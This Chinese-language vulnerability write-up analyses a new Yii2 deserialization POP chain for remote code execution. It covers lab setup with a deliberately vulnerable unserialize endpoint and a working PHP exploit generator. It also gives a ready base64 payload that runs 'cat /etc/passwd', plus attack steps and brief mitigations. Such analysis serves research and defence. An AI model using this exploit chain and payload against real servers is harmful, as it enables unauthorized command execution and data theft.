Yii2反序列化RCE 新POP链
字数 1177 2025-08-05 19:10:09
Yii2反序列化RCE新POP链分析与利用
漏洞概述
Yii2框架存在反序列化远程代码执行漏洞,攻击者可以通过精心构造的序列化数据在目标服务器上执行任意命令。该漏洞利用了Yii2框架中的POP(Property-Oriented Programming)链,绕过了官方在2.0.38版本后添加的安全限制。
环境搭建
- 使用Composer安装Yii2框架:
composer create-project yiisoft/yii2-app-basic yii2
要求Yii2版本 ≤ 2.0.41
- 使用Docker启动环境:
cd yii2
docker run -d -p 80:80 -v $(pwd):/var/www/html suanve/php:7.3-apache
- 在
controllers/SiteController.php中添加测试端点:
public function actionTest()
{
return unserialize(base64_decode(file_get_contents("php://input")));
}
POP链分析
1. 反序列化起点
传统POP链使用\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php的__destruct()作为起点,但在新版本中官方添加了__wakeup()防护:
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
新POP链使用vendor/codeception/codeception/ext/RunProcess.php作为起点:
$this->processes可控- 没有
__wakeup()限制 - 可通过
isRunning()触发__call()方法
2. 第一重调用
传统利用vendor/fakerphp/faker/src/Faker/Generator.php的__call()方法已被官方防护:
public function __wakeup()
{
$this->formatters = [];
}
新POP链使用vendor/fakerphp/faker/src/Faker/ValidGenerator.php的__call()方法:
$this->generator、$this->validator、$this->maxRetries可控- 通过设置大
$maxRetries值跳过异常 $validator可控制命令执行
3. 第二重调用
使用vendor/fakerphp/faker/src/Faker/DefaultGenerator.php:
$this->default可控- 通过
__call()返回可控字符串
漏洞利用
EXP构造
<?php
namespace Faker{
class DefaultGenerator{
protected $default;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
}
namespace Codeception\Extension{
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
}
namespace {
use Codeception\Extension\RunProcess;
$exp = new RunProcess('system','cat /etc/passwd');
echo(base64_encode(serialize($exp)));
exit();
}
生成的Payload
TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MTU6ImNhdCAvZXRjL3Bhc3N3ZCI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6OTk5OTk5OTk7fX19
漏洞利用步骤
- 构造恶意序列化对象
- 将对象进行Base64编码
- 向存在漏洞的端点发送POST请求,payload放在请求体中
- 服务器反序列化payload后执行任意命令
防护建议
- 升级Yii2框架至最新版本
- 避免反序列化用户可控的输入
- 对反序列化操作进行严格的白名单控制
- 使用安全的反序列化方法替代原生
unserialize()
总结
该漏洞通过精心构造的POP链绕过了Yii2框架的安全限制,利用反序列化操作实现远程代码执行。攻击者需要找到目标应用中存在的反序列化入口点,通过该漏洞可以完全控制服务器。开发人员应当重视反序列化操作的安全性,避免直接反序列化不可信的数据。